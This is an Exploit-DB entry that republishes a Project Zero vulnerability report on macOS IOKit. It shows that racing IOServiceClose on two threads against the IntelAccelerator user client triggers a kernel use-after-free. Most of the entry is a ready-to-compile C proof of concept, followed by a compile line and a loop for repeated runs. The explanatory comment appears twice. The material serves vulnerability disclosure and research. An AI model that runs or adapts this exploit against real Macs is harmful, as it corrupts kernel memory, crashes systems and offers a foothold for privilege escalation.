Apple Mac OSX - io_service_close Use-After-Free

EDB-ID:

39367




Platform:

OSX

Date:

2016-01-28


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/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=597

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/

// ianbeer

// clang -o ioparallel_close ioparallel_close.c -lpthread -framework IOKit
/*
io_service_close leads to potentially dangerous IOKit methods being called without locks

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

void close_it(io_connect_t conn) {
  IOServiceClose(conn);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  close_it(*(io_connect_t*)arg);
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 4;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  io_connect_t arg = conn;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  usleep(100000);

  start = 1;

  close_it(conn);

  pthread_join(t, NULL);

  return 0;
}